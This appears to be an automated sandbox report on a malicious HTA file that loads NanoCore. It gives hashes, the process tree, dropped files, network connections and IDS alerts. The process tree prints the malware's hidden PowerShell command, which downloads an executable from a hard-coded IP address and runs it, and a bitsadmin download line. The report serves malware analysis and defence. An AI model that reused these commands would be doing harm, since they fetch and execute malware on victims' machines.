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| download: | jnn.hta |
| Full analysis: | https://app.any.run/tasks/dcd85347-4731-4b1a-a04d-fded9aeda729 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | March 14, 2019, 11:25:41 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/html |
| File info: | HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators |
| MD5: | A6D6CDC59C6507424B2AEDEFF46AFD2B |
| SHA1: | 3D9D1169A822D2C17BA8E8F1E42794246AEA8958 |
| SHA256: | BD6B52E1365E898CF42A2AE281E897884C440BD33140A264F90E34D4AAE3330A |
| SSDEEP: | 48:ZKpON1CTY1zH1aKL2slzhapoeddogoioFxBZoWk0uynk3nKpON1CTY1zH1aKL2s2:ZBvaY1zUMdzBZweoBvaY1zUMdzBZwjP |
MALICIOUS
Application was dropped or rewritten from another process
- mdo.exe (PID: 4052)
- Hmmmm.exe (PID: 2704)
- mdo.exe (PID: 3708)
Downloads executable files from the Internet
- powershell.exe (PID: 3040)
Downloads executable files from IP
- powershell.exe (PID: 3040)
Uses BITADMIN.EXE for downloading application
- mshta.exe (PID: 3500)
NanoCore was detected
- RegSvcs.exe (PID: 3092)
Executes PowerShell scripts
- mshta.exe (PID: 3500)
Changes the autorun value in the registry
- mdo.exe (PID: 3708)
SUSPICIOUS
Executable content was dropped or overwritten
- powershell.exe (PID: 3040)
- Hmmmm.exe (PID: 2704)
Drop AutoIt3 executable file
- Hmmmm.exe (PID: 2704)
Creates files in the user directory
- powershell.exe (PID: 3040)
- RegSvcs.exe (PID: 3092)
- powershell.exe (PID: 2920)
Application launched itself
- mdo.exe (PID: 4052)
Connects to unusual port
- RegSvcs.exe (PID: 3092)
INFO
Dropped object may contain Bitcoin addresses
- mdo.exe (PID: 4052)
- Hmmmm.exe (PID: 2704)
Reads internet explorer settings
- mshta.exe (PID: 3500)
Reads settings of System Certificates
- chrome.exe (PID: 3440)
Application launched itself
- chrome.exe (PID: 3440)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .txt | | | Text - UTF-8 encoded (100) |
|---|
EXIF
HTML
| ContentType: | text/html; charset=utf-8 |
|---|
Total processes
54
Monitored processes
21
Malicious processes
6
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3500 | "C:\Windows\System32\mshta.exe" "C:\Users\admin\AppData\Local\Temp\jnn.hta" | C:\Windows\System32\mshta.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 2600 | "C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal Your Binded File Direct URL C:\Users\admin\AppData\Local\Temp\text.rtf | C:\Windows\System32\bitsadmin.exe | — | mshta.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 2147942487 Version: 7.5.7600.16385 (win7_rtm.090713-1255) | ||||
| 3040 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://141.136.44.78/jnn/jnn.exe','C:\Users\admin\AppData\Local\Temp\Hmmmm.exe');Start-Process C:\Users\admin\AppData\Local\Temp\Hmmmm.exe; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2704 | "C:\Users\admin\AppData\Local\Temp\Hmmmm.exe" | C:\Users\admin\AppData\Local\Temp\Hmmmm.exe | powershell.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 4052 | "C:\Users\admin\AppData\Local\Temp\88127361\mdo.exe" seg=muu | C:\Users\admin\AppData\Local\Temp\88127361\mdo.exe | — | Hmmmm.exe |
User: admin Company: AutoIt Team Integrity Level: MEDIUM Description: AutoIt v3 Script Exit code: 0 Version: 3, 3, 14, 5 | ||||
| 3440 | "C:\Program Files\Google\Chrome\Application\chrome.exe" | C:\Program Files\Google\Chrome\Application\chrome.exe | explorer.exe | |
User: admin Company: Google Inc. Integrity Level: MEDIUM Description: Google Chrome Version: 68.0.3440.106 | ||||
| 3400 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win32 --annotation=prod=Chrome --annotation=ver=68.0.3440.106 --initial-client-data=0x78,0x7c,0x80,0x74,0x84,0x6fd100b0,0x6fd100c0,0x6fd100cc | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: MEDIUM Description: Google Chrome Version: 68.0.3440.106 | ||||
| 3300 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=3468 --on-initialized-event-handle=304 --parent-handle=308 /prefetch:6 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: MEDIUM Description: Google Chrome Version: 68.0.3440.106 | ||||
| 3668 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=976,9579535764433420095,1709175414698601435,131072 --enable-features=PasswordImport --gpu-preferences=KAAAAAAAAACAAwBAAQAAAAAAAAAAAGAAEAAAAAAAAAAAAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAACwAAABAAAAAAAAAAAQAAAAoAAAAQAAAAAAAAAAEAAAALAAAA --service-request-channel-token=66F4D65CDE3EF04B7011C34A3CDDFA53 --mojo-platform-channel-handle=992 --ignored=" --type=renderer " /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: LOW Description: Google Chrome Version: 68.0.3440.106 | ||||
| 3748 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=976,9579535764433420095,1709175414698601435,131072 --enable-features=PasswordImport --service-pipe-token=261CA67205A0B338F2C18D82FA22F4B0 --lang=en-US --instant-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=261CA67205A0B338F2C18D82FA22F4B0 --renderer-client-id=5 --mojo-platform-channel-handle=1876 /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 68.0.3440.106 | ||||
Total events
1 774
Read events
1 599
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
48
Text files
113
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3040 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LBRI7FBWGNFUJXO42060.temp | — | |
MD5:— | SHA256:— | |||
| 2704 | Hmmmm.exe | C:\Users\admin\AppData\Local\Temp\88127361\jvk.mp3 | text | |
MD5:D9B7CC3F58DA6D96C3DBFB4008B26EB9 | SHA256:29F324A7980E633B0052B5BDB634833CD094E5A631380FE6049FC6F6DAA7A48C | |||
| 2704 | Hmmmm.exe | C:\Users\admin\AppData\Local\Temp\88127361\dss.dat | text | |
MD5:C488C0EEAA4A77679F10A662945E5E4E | SHA256:DB289B5F6CAD00BF4B05ED3BA50825AC178119EA0D5F9F58F7A22F1FF670ADDF | |||
| 2704 | Hmmmm.exe | C:\Users\admin\AppData\Local\Temp\88127361\lpr.mp4 | text | |
MD5:3576B5978B68394D98E25AFFD7225B83 | SHA256:E182A17F5A6B486FF9410ECCCBF9685BC5C54CF2EC314AE255040DABCE04E895 | |||
| 3040 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:0586DB8FF5249AD980CEC7BF2CBC3708 | SHA256:DF93E043BDFAB9E6C36B353985E621A7A276756B52877AACDC5F36517009B4E2 | |||
| 2704 | Hmmmm.exe | C:\Users\admin\AppData\Local\Temp\88127361\cll.ppt | text | |
MD5:C3038BB5D678596A20440872BB278380 | SHA256:70DCFC1D30A96AA81CA89C308A379A7458534B6C9CD469C8641E71842C188370 | |||
| 3040 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1add42.TMP | binary | |
MD5:0586DB8FF5249AD980CEC7BF2CBC3708 | SHA256:DF93E043BDFAB9E6C36B353985E621A7A276756B52877AACDC5F36517009B4E2 | |||
| 2704 | Hmmmm.exe | C:\Users\admin\AppData\Local\Temp\88127361\pou.icm | text | |
MD5:53CE9C11F69EDE839689A93EA34B9201 | SHA256:3D08042DBB0A693DD4F838236E5D7F5E40F5667BA6B33ADCD605F26610817627 | |||
| 2704 | Hmmmm.exe | C:\Users\admin\AppData\Local\Temp\88127361\bum.pdf | text | |
MD5:FEAEEA7208F7A411E4CDC0E3286A11DB | SHA256:1DF03709F122F14E2606E94BCCB74B47C6C48A483C68A45ED446C06C0CA01965 | |||
| 2704 | Hmmmm.exe | C:\Users\admin\AppData\Local\Temp\88127361\nbb.icm | text | |
MD5:9B65C9D1111C7E0640CE5900F01DBF05 | SHA256:F4B0AE209225A3321ACD8B5303B09D8BA245AA4250620D1407356FAF82E6F800 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
29
DNS requests
21
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3040 | powershell.exe | GET | 200 | 141.136.44.78:80 | http://141.136.44.78/jnn/jnn.exe | LT | executable | 905 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3040 | powershell.exe | 141.136.44.78:80 | — | Vardas.lt, Uab | LT | suspicious |
3440 | chrome.exe | 172.217.23.170:443 | safebrowsing.googleapis.com | Google Inc. | US | whitelisted |
3440 | chrome.exe | 216.58.205.234:443 | fonts.googleapis.com | Google Inc. | US | whitelisted |
3440 | chrome.exe | 216.58.210.4:443 | www.google.com | Google Inc. | US | whitelisted |
3440 | chrome.exe | 216.58.207.46:443 | apis.google.com | Google Inc. | US | whitelisted |
3092 | RegSvcs.exe | 8.8.4.4:53 | — | Google Inc. | US | whitelisted |
3440 | chrome.exe | 216.58.208.35:443 | www.gstatic.com | Google Inc. | US | whitelisted |
2920 | powershell.exe | 141.136.44.78:80 | — | Vardas.lt, Uab | LT | suspicious |
3440 | chrome.exe | 172.217.23.131:443 | clientservices.googleapis.com | Google Inc. | US | whitelisted |
3092 | RegSvcs.exe | 8.8.8.8:53 | — | Google Inc. | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.gstatic.com |
| whitelisted |
clientservices.googleapis.com |
| whitelisted |
www.google.de |
| whitelisted |
safebrowsing.googleapis.com |
| whitelisted |
accounts.google.com |
| shared |
www.google.com |
| whitelisted |
ssl.gstatic.com |
| whitelisted |
www.google.lv |
| whitelisted |
kgentle777.hopto.org |
| unknown |
fonts.googleapis.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3040 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3040 | powershell.exe | Potentially Bad Traffic | ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile |
3040 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3040 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3040 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
3092 | RegSvcs.exe | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |
3092 | RegSvcs.exe | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |
— | — | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |